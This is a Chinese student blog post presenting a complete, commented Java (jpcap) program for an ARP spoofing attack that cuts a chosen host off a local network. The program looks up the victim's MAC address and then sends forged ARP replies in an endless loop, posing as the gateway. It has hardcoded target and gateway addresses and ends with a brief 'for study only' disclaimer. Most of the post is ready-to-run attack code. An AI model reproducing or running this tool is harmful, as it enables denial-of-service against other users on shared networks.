这是大二学习计算机网络的时候写的一个小程序,可实现局域网内断网攻击。这也作为学习网络层、数据链路层(在OSI模型中ARP协议属于链路层;而在TCP/IP模型中,ARP协议属于网络层)的其中一个小实验吧。

下面的代码运行前需要安装jpcap,安装方法百度一下很多,不过需要注意版本~

代码注释还比较多,部分同学可能还需了解一些计算机网络的知识才能看懂

package com.arpattack;

import java.io.IOException;

import java.net.InetAddress;

import java.util.Arrays;

import jpcap.JpcapCaptor;

import jpcap.JpcapSender;

import jpcap.NetworkInterface;

import jpcap.packet.ARPPacket;

import jpcap.packet.EthernetPacket;

import jpcap.packet.Packet;

/**

* 基于Jpcap的ARP攻击程序范例

* @author 陈祖煌

* @version 1.0

*/

public class ARPAttack {

/**

* 本地主机的0号网络设备,根据具体实际情况对参数0进行修改

*/

public static NetworkInterface device = JpcapCaptor.getDeviceList()[0];

/**

* 通过发送ARP请求包来获取某一IP地址主机的MAC地址。

* @param ip //未知MAC地址主机的IP地址

* @return //已知IP地址的MAC地址

* @throws IOException

*/

public static byte[] getOtherMAC(String ip) throws IOException{

JpcapCaptor jc = JpcapCaptor.openDevice(device,2000,false,3000); //打开网络设备,用来侦听

JpcapSender sender = jc.getJpcapSenderInstance(); //发送器JpcapSender,用来发送报文

InetAddress senderIP = InetAddress.getByName("10.96.33.232"); //设置本地主机的IP地址,方便接收对方返回的报文

InetAddress targetIP = InetAddress.getByName(ip); //目标主机的IP地址

ARPPacket arp=new ARPPacket(); //开始构造一个ARP包

arp.hardtype=ARPPacket.HARDTYPE_ETHER; //硬件类型

arp.prototype=ARPPacket.PROTOTYPE_IP; //协议类型

arp.operation=ARPPacket.ARP_REQUEST; //指明是ARP请求包

arp.hlen=6; //物理地址长度

arp.plen=4; //协议地址长度

arp.sender_hardaddr=device.mac_address; //ARP包的发送端以太网地址,在这里即本地主机地址

arp.sender_protoaddr=senderIP.getAddress(); //发送端IP地址, 在这里即本地IP地址

byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; //广播地址

arp.target_hardaddr=broadcast; //设置目的端的以太网地址为广播地址

arp.target_protoaddr=targetIP.getAddress(); //目的端IP地址

//构造以太帧首部

EthernetPacket ether=new EthernetPacket();

ether.frametype=EthernetPacket.ETHERTYPE_ARP; //帧类型

ether.src_mac=device.mac_address; //源MAC地址

ether.dst_mac=broadcast; //以太网目的地址,广播地址

arp.datalink=ether; //将arp报文的数据链路层的帧设置为刚刚构造的以太帧赋给

sender.sendPacket(arp); //发送ARP报文

while(true){ //获取ARP回复包,从中提取出目的主机的MAC地址,如果返回的是网关地址,表明目的IP不是局域网内的地址

Packet packet = jc.getPacket();

if(packet instanceof ARPPacket){

ARPPacket p=(ARPPacket)packet;

if(p==null){

throw new IllegalArgumentException(targetIP+" is not a local address"); //这种情况也属于目的主机不是本地地址

}

if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){

System.out.println("get mac ok");

return p.sender_hardaddr; //返回

}

}

}

}

/**

* 将字符串形式的MAC地址转换成存放在byte数组内的MAC地址

* @param str 字符串形式的MAC地址,如:AA-AA-AA-AA-AA

* @return 保存在byte数组内的MAC地址

*/

public static byte[] stomac(String str) {

byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };

String[] temp = str.split("-");

for (int x = 0; x

mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);

}

return mac;

}

/**

* 执行ARP断网攻击。原理是:冒充网关发送出来的ARP应答包,令接收端更改其ARP缓存表,修改网关IP地址对应的MAC地址,从而令数据无法正常通过网关发出。

* @param ip

* @param time

* @throws InterruptedException

* @throws IOException

*/

public static void ARPAttack(String ip, int time) throws InterruptedException, IOException{

JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);

jpcap.setFilter("arp", true);

JpcapSender sender = JpcapSender.openDevice(device);

ARPPacket arp = new ARPPacket();

arp.hardtype = ARPPacket.HARDTYPE_ETHER;//硬件类型

arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型

arp.operation = ARPPacket.ARP_REPLY; //指明是ARP应答包包

arp.hlen = 6;

arp.plen = 4;

byte[] srcmac = stomac("00-0D-2B-2E-B1-0A"); // 伪装的MAC地址,这里乱写就行,不过要符合格式、十六进制

arp.sender_hardaddr = srcmac;

arp.sender_protoaddr = InetAddress.getByName("10.96.0.1").getAddress();

arp.target_hardaddr=getOtherMAC(ip);

arp.target_protoaddr=InetAddress.getByName(ip).getAddress();

//设置数据链路层的帧

EthernetPacket ether=new EthernetPacket();

ether.frametype=EthernetPacket.ETHERTYPE_ARP;

ether.src_mac= srcmac; //停止攻击一段时间后,目标主机会自动恢复网络。若要主动恢复,这里可用getOtherMAC("10.96.0.1");

ether.dst_mac=getOtherMAC(ip);

arp.datalink=ether;

// 发送ARP应答包 。因为一般主机会间隔一定时间发送ARP请求包询问网关地址,所以这里需要设置一个攻击周期。

while (true) {

System.out.println("sending ARP..");

sender.sendPacket(arp);

Thread.sleep(time);

}

}

/**

* 程序入口

* @param args

* @throws IOException

* @throws InterruptedException

*/

public static void main(String[] args) throws InterruptedException, IOException {

ARPAttack("10.96.81.56", 2000);

}

}

代码仅供学习研究,切勿用于不良用途。

java arp 攻击_基于Jpcap的Java ARP断网攻击相关推荐

  1. java memcache 队列_基于memcache的java分布式队列实现。

    主要有两个类,一个队列类和一个job的抽象类. 保证队列类中的key的唯一性,就可以用spring配置多个实例.水平有限,欢迎吐槽. 上代码: 1.队列类 import net.spy.memcach ...

  2. java 打印 发票_基于Excel和Java自动化:发票生成器

    对于销售人员,使用Excel创建发票是很常见的.但是该过程通常涉及许多容易出错的手动操作,例如输入数据,复制/粘贴等.如何实现一个可以将数据从数据库自动填充到发票Excel模板中,而无需再辛苦手动输入 ...

  3. python arp扫描_基于python的局域网arp扫描

    ARP协议 ARP 协议也叫做地址解析协议,就是IP地址转换成MAC地址的协议 原理:在局域网内广播,向所有的主机发送包含目标IP地址的请求报文,如果该IP地址的主机接到了报文,那么就会将自己的MAC ...

  4. ARP断网攻击——如何让朋友感受到你的爱

    ARP断网攻击 严正声明: 本文仅限于技术讨论与分享,严禁用于非法途径. 本文目的 演示如何借助Kali Linux系统内置的 nmap.arpspoo 等渗透测试工具对局域网内同一网段的PC主机.手 ...

  5. python实现局域网攻击软件_使用python的scapy库进行局域网内的断网攻击(基于ARP协议)...

    (使用python scapy库进行网络攻击) ARP协议 ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行. ARP攻击的局限性: ARP攻击仅能在以太网( ...

  6. kaliarp欺骗注入_利用 Kali Linux 进行 Arp 欺骗,实现局域网断网攻击

    局域网断网攻击有什么用呢,比如防熊孩子,干掉某些抢网速的人,或者,干掉大晚上吵死你的舍友. 好了,下面开始进入正题. 免责声明:请遵守相关法律法规,本人不对本教程造成的后果负责.如果你按照本教程实践中 ...

  7. kali使用mysql注入攻击_基于kali实现的一些攻击

    本文如果出现什么错误,或者有什么建议欢迎随时联系我,谢谢! 1.局域网断网攻击-----ARP攻击(使用kali下的arpspoof工具,为了方便,受害主机为本人主机) (1)Windows下查询本机 ...

  8. ARP断网攻击和防御

    在介绍ARP断网攻击之前,我们先来了解一些基本术语. 基本术语 ARP 英文全称为Address Resolution Protocol,即地址解析协议,是根据IP地址获取MAC地址的一个TCP/IP ...

  9. python指定进程断网_python通过scapy模块进行arp断网攻击

    前言: 想实现像arpsoof一样的工具 arp断网攻击原理: 通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量.攻击者 只要持续不断发送arp包就能造成中间人攻击或者断网攻击. ...

最新文章

  1. python 装饰器实现事件绑定_Python装饰器是怎么实现的?
  2. LeetCode 662 二叉树最大宽度
  3. java对象的序列化和反序列化详细解释
  4. dataframe切片_Kaggle:识别淋巴结病理切片有无癌细胞(logistic+svm+rf+CNN)
  5. 三款IE修复软件横向评测(转)
  6. Unity3D 智能巡逻兵
  7. mysql 省份名排序,mysql省份表,含行政区划代码、省份名和省份全拼
  8. 前端 | 数据可视化之ECharts
  9. mysql索引左倾_MySQL索引学习
  10. 硬核干货 | 人脸识别的原理是什么?
  11. 解决out.print()爆红问题
  12. 从0开始学大数据(十二)
  13. 《C专家编程》随笔1:读者心得
  14. cr全称是什么意思,城域网中的AC、BRAS、SW、SR、CR是什么意思
  15. [医疗信息化][DICOM教程]HL7 V3 Standard-概述-HL7 V3 Standard - A High Level Overview
  16. 个人永久性免费-Excel催化剂功能第86波-人工智能之图像OCR文本识别全覆盖
  17. oracle中minus什么意思,Oracle Minus关键字
  18. JDP-[单例模式]-思路梳理
  19. day28 re(正则)模块
  20. Spring Framework系统架构

热门文章

  1. python3 错误string indices must be integers 的解决方法
  2. 11种常见SQLMAP使用方法详解
  3. window cmd 端口查进程
  4. windbg学习-------.expr和masm表达式
  5. 通过 SHGetSpecialFolderLocation、SHGetPathFromIDList 函数获取常用路径
  6. 关于#pragma code_seg
  7. Paoding Rose学习(一)
  8. 光盘刻录大师刻录flac_司法监控视频光盘集中刻录归档方案
  9. Linux内核网络数据包发送(一)
  10. 字节跳动面试题:用归并排序判断冒泡排序的轮数